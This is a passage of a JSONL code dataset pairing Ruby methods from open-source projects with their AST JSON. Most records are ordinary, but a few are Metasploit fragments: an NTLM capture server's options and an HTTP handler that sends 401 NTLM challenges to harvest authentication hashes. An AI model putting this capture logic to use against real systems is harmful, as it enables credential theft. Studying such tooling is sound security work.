server\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PassiveActions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Capture\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultAction\"]},{\"type\":\"str\",\"children\":[\"Capture\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptAddress\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The ip address to listen on.\"]},{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The port to listen on.\"]},{\"type\":\"str\",\"children\":[\"389\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CHALLENGE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The 8 byte challenge\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[16]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"LDIF_FILE\"]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"Domain\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The default domain to use for NTLM authentication\"]},{\"type\":\"str\",\"children\":[\"DOMAIN\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"Server\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The default server to use for NTLM authentication\"]},{\"type\":\"str\",\"children\":[\"SERVER\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DnsName\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The default DNS server name to use for NTLM authentication\"]},{\"type\":\"str\",\"children\":[\"SERVER\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DnsDomain\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The default DNS domain name to use for NTLM authentication\"]},{\"type\":\"str\",\"children\":[\"example.com\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"LDIF_FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Directory LDIF file path\"]}]}]}]}]}]}]}","id":"85824b75-3096-4649-8471-17a90e32be9d"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/seeds/all.rb","start_line":6,"raw_source":"def call\n        Spree::Webhooks.disable_webhooks do\n          # GEO\n          Countries.call\n          States.call\n          Zones.call\n\n          # user roles\n          Roles.call\n\n          # additional data\n          ReturnsEnvironment.call\n          ShippingCategories.call\n          StoreCreditCategories.call\n          TaxCategories.call\n          DigitalDelivery.call\n\n          # store & stock location\n          Stores.call\n          StockLocations.call\n          AdminUser.call\n\n          # add store resources\n          PaymentMethods.call\n        end\n      end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Webhooks\"]},\"disable_webhooks\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Countries\"]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"States\"]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zones\"]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Roles\"]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReturnsEnvironment\"]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ShippingCategories\"]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StoreCreditCategories\"]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TaxCategories\"]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DigitalDelivery\"]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stores\"]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StockLocations\"]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AdminUser\"]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PaymentMethods\"]},\"call\"]}]}]}]}","id":"4a601151-e269-4603-86ce-a3721a4a70bb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/capture/http_ntlm.rb","start_line":58,"raw_source":"def on_request_uri(cli, request)\n    vprint_status(\"Request '#{request.uri}'\")\n\n    case request.method\n    when 'OPTIONS'\n      process_options(cli, request)\n    else\n      # If the host has not started auth, send 401 authenticate with only the NTLM option\n      if !request.headers['Authorization']\n        vprint_status(\"401 '#{request.uri}'\")\n        response = create_response(401, 'Unauthorized')\n        response.headers['WWW-Authenticate'] = 'NTLM'\n        response.headers['Proxy-Support'] = 'Session-Based-Authentication'\n        response.body =\n          '<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>'\n\n      else\n        vprint_status(\"Continuing auth '#{request.uri}'\")\n        method, hash = request.headers['Authorization'].split(/\\s+/, 2)\n        # If the method isn't NTLM something odd is going on. Regardless, this won't get what we want, 404 them\n        if (method != 'NTLM')\n          print_status('Unrecognized Authorization header, responding with 404')\n          send_not_found(cli)\n          return false\n        end\n\n        response = handle_auth(cli, hash)\n      end\n      cli.send_response(response)\n    end\n  end","complexity_score":47.5,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Request '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"method\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"OPTIONS\"]},{\"type\":\"send\",\"children\":[null,\"process_options\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Authorization\"]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"401 '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"create_response\",{\"type\":\"int\",\"children\":[401]},{\"type\":\"str\",\"children\":[\"Unauthorized\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"WWW-Authenticate\"]},{\"type\":\"str\",\"children\":[\"NTLM\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Proxy-Support\"]},{\"type\":\"str\",\"children\":[\"Session-Based-Authentication\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body=\",{\"type\":\"str\",\"children\":[\"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Continuing auth '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method\"]},{\"type\":\"lvasgn\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Authorization\"]}]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"!=\",{\"type\":\"str\",\"children\":[\"NTLM\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Unrecognized Authorization header, responding with 404\"]}]},{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"handle_auth\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]}]}","id":"11d7449c-a3f1-4e3a-b06a-5303585cf673"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/mime/accept_format_test.rb","start_line":89,"raw_source":"def test_non_navigational_format_with_no_template_fallbacks_to_html_template_with_no_layout\n    get :index, format: :js\n    assert_equal \"Hello Firefox\", @response.body\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_non_navigational_format_with_no_template_fallbacks_to_html_template_with_no_layout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"js\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello Firefox\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"50887505-6706-4daa-a34a-3744c8cfad16"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/log_subscriber_test.rb","start_line":146,"raw_source":"def test_logging_does_not_die_on_failures\n    assert_error_reported do\n      ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber\n      instrument \"puke.my_log_subscriber\"\n      instrument \"some_event.my_log_subscriber\"\n      wait\n    end\n\n    assert_equal 1, @logger.logged(:info).size\n    assert_equal \"some_event.my_log_subscriber\", @logger.logged(:info).last\n\n    assert_equal 1, @logger.logged(:error).size\n    assert_match 'Could not log \"puke.my_log_subscriber\" event. RuntimeError: puke', @logger.logged(:error).last\n  end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_logging_does_not_die_on_failures\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_error_reported\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"LogSubscriber\"]},\"attach_to\",{\"type\":\"sym\",\"children\":[\"my_log_subscriber\"]},{\"type\":\"ivar\",\"children\":[\"@log_subscriber\"]}]},{\"type\":\"send\",\"children\":[null,\"instrument\",{\"type\":\"str\",\"children\":[\"puke.my_log_subscriber\"]}]},{\"type\":\"send\",\"children\":[null,\"instrument\",{\"type\":\"str\",\"children\":[\"some_event.my_log_subscriber\"]}]},{\"type\":\"send\",\"children\":[null,\"wait\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"logged\",{\"type\":\"sym\",\"children\":[\"info\"]}]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"some_event.my_log_subscriber\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"logged\",{\"type\":\"sym\",\"children\":[\"info\"]}]},\"last\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"logged\",{\"type\":\"sym\",\"children\":[\"error\"]}]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"Could not log \\\"puke.my_log_subscriber\\\" event. RuntimeError: puke\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"logged\",{\"type\":\"sym\",\"children\":[\"error\"]}]},\"last\"]}]}]}]}","id":"e1768c94-0bab-4a72-9bdf-2b81c1ed94f5"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/meetings/show.rb","start_line":488,"raw_source":"def expect_item_edit_field_error(item, text)\n      # retry because the #meeting-agenda-items-form-component-<id> may not be\n      # updated yet and then becomes stale while checking for field error.\n      retry_block do\n        page.within(\"#meeting-agenda-items-form-component-#{item.id}\") do\n          expect(page).to have_css(\".FormControl-inlineValidation\", text:)\n        end\n      end\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_item_edit_field_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]},{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_block\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#meeting-agenda-items-form-component-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"id\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".FormControl-inlineValidation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}]}]}]}]}","id":"6d7a3d04-6f25-4729-883f-d8ac7497d54b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/manage/pseudo_shell.rb","start_line":104,"raw_source":"def prompt_show\n    promptshell = \"#{@vusername}@#{@vhostname}:#{pwd.strip}#{@vpromptchar} \"\n    comp = proc { |s| LIST.grep(/^#{Regexp.escape(s)}/) }\n    Readline.completion_append_character = ' '\n    Readline.completion_proc = comp\n    input = Readline.readline(promptshell, true)\n    return nil if input.nil?\n\n    input\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"prompt_show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"promptshell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vusername\"]}]},{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vhostname\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pwd\"]},\"strip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vpromptchar\"]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"comp\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LIST\"]},\"grep\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"s\"]}]}]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Readline\"]},\"completion_append_character=\",{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Readline\"]},\"completion_proc=\",{\"type\":\"lvar\",\"children\":[\"comp\"]}]},{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Readline\"]},\"readline\",{\"type\":\"lvar\",\"children\":[\"promptshell\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvar\",\"children\":[\"input\"]}]}]}","id":"ed6f79c6-8111-43a1-89fc-709e21b5218e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/snippets_repo_restorer.rb","start_line":24,"raw_source":"def snippet_repo_bundle_path(snippet)\n        File.join(snippets_repo_bundle_path, ::Gitlab::ImportExport.snippet_repo_bundle_filename_for(snippet))\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"snippet_repo_bundle_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"snippet\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"snippets_repo_bundle_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"ImportExport\"]},\"snippet_repo_bundle_filename_for\",{\"type\":\"lvar\",\"children\":[\"snippet\"]}]}]}]}","id":"322bb3e9-6216-4b43-b2b9-894427489f6e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/timeboxes_helper.rb","start_line":258,"raw_source":"def edit_milestone_path(milestone)\n    if milestone.group_milestone?\n      edit_group_milestone_path(milestone.group, milestone)\n    elsif milestone.project_milestone?\n      edit_project_milestone_path(milestone.project, milestone)\n    end\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_milestone_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"milestone\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestone\"]},\"group_milestone?\"]},{\"type\":\"send\",\"children\":[null,\"edit_group_milestone_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestone\"]},\"group\"]},{\"type\":\"lvar\",\"children\":[\"milestone\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestone\"]},\"project_milestone?\"]},{\"type\":\"send\",\"children\":[null,\"edit_project_milestone_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestone\"]},\"project\"]},{\"type\":\"lvar\",\"children\":[\"milestone\"]}]},null]}]}]}","id":"e6a3baa6-cf60-447b-88ae-45207a0b1ecc"}
{"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/jsitor_tag.rb","start_line":35,"raw_source":"def jsitor_error\n    raise StandardError, I18n.t(\"liquid_tags.jsitor_tag.invalid_jsitor_link\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"jsitor_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"liquid_tags.jsitor_tag.invalid_jsitor_link\"]}]}]}]}","id":"8ae4a45d-027f-4cef-a3f2-b1195205913f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/target_ruby.rb","start_line":185,"raw_source":"def version_file\n        @version_file ||= @config.find_file_upwards(filename, @config.base_dir_for_path_parameters)\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"version_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@version_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"find_file_upwards\",{\"type\":\"send\",\"children\":[null,\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"base_dir_for_path_parameters\"]}]}]}]}","id":"21bcb862-51b6-4faa-8d16-d25edbfbe3e3"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/middleware/chain.rb","start_line":119,"raw_source":"def add(klass, *args)\n        remove(klass)\n        entries << Entry.new(@config, klass, *args)\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entries\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entry\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@config\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}]}","id":"a4f96f77-44ae-4e11-a242-c7d85ef9b003"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/user_settings/personal_access_tokens_controller_spec.rb","start_line":14,"raw_source":"def created_token\n      PersonalAccessToken.order(:created_at).last\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"created_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PersonalAccessToken\"]},\"order\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]},\"last\"]}]}","id":"22c19303-d975-4079-b547-06999befa211"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/report/ignore/interactive.rb","start_line":267,"raw_source":"def pretty_display warning\n      progress = \"#{@current_index + 1}/#{@warning_count}\"\n      say \"-------- #{progress} #{\"-\" * (20 - progress.length)}\", :cyan\n      show_confidence warning\n\n      label \"Category\"\n      say warning.warning_type\n\n      label \"Message\"\n      say warning.message\n\n      if warning.code\n        label \"Code\"\n        say warning.format_code\n      end\n\n      if warning.file\n        label \"File\"\n        say warning.file.relative\n      end\n\n      if warning.line\n        label \"Line\"\n        say warning.line\n      end\n\n      if already_ignored? warning\n        show_note warning\n        say \"Already ignored\", :red\n      end\n\n      say \"\"\n    end","complexity_score":39.7,"ast_json":"{\"type\":\"def\",\"children\":[\"pretty_display\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"warning\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"progress\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@warning_count\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-------- \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"progress\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"-\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[20]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"progress\"]},\"length\"]}]}]}]}]}]},{\"type\":\"sym\",\"children\":[\"cyan\"]}]},{\"type\":\"send\",\"children\":[null,\"show_confidence\",{\"type\":\"lvar\",\"children\":[\"warning\"]}]},{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"Category\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"warning_type\"]}]},{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"Message\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"message\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"code\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"Code\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"